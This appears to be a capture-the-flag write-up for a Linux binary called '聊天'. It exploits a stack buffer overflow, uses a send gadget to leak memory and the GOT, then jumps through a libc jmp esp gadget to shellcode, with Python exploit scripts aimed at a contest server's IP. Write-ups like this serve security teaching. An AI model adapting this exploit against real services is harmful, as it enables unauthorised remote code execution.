Overview

聊天 is an Linux x86 binary that uses signal handlers to print a bunch of Chinese before overflowing a buffer. With a send gadget giving us an arbitrary read, we can find a jmp esp in libc and jump to our shellcode on the (executable) stack.

Writeup

We reverse the binary, and see that main forks, drops privileges, and then raises signals until eventually the function below is called.

We have a buffer overflow and hence control of eip, but unfortunately nothing else. Luckily, there is a call to send elsewhere in the code (that also loads the correct fd, etc for us).

This works for us, since edx = 0x800 at the return of our vulnerable function. We thus have a way to read 0x800 bytes from an arbitrary memory address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string

def read_mem(addr):
        print "Sleeping before reading %x" % addr
        time.sleep(.5)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('128.238.66.218', 4842))
        # s.connect(('127.0.0.1', 4842))
        f = s.makefile('rw', bufsize=0)

        send_buf = 0x804890e

        payload = (
                "A"*326 +
                struct.pack('I', send_buf) +
                "AAAA"*11 +
                struct.pack('I', addr) +
                "BBBB"
        )

        f.write(payload)
        x = f.read(116)
        f.flush()

        buf = f.read(0x800)
        f.close()

        return buf

Our general strategy at this point will be: read the GOT entries to find a libc address, then search in libc for a jmp esp gadget, then use that to return to our shellcode (jmp esp works since we know that NX is disabled). Here is the solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string

def find_jmp_esp():
        gots = read_mem(0x804B000)  # The offset of the got entries.

        setsockopt = struct.unpack('I', gots[:4])[0]
        libc_guess = setsockopt - 0xEC6D0  # Where setsockopt is located on my ubuntu machine.

        buf_base = libc_guess - (libc_guess % 0x1000)

        buf = read_mem(buf_base)
        while buf:
                jmp_esp = buf.find("\xff\xe4")  # jmp esp
                if jmp_esp != -1:
                        return buf_base + jmp_esp
                else:
                        buf_base += len(buf)
                        buf = read_mem(buf_base)

        return 0

def solve(jmp_esp):
        payload = (
                "A"*326 +
                struct.pack('I', jmp_esp)+
                shellcode
        )

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('128.238.66.218', 4842))
        # s.connect(('127.0.0.1', 4842))
        f = s.makefile('rw', bufsize=0)

        f.write(payload)

        t = telnetlib.Telnet()
        t.sock = s
        t.interact()

jmp_esp = find_jmp_esp()

print "Found jmp_esp at %x" % jmp_esp

solve(jmp_esp)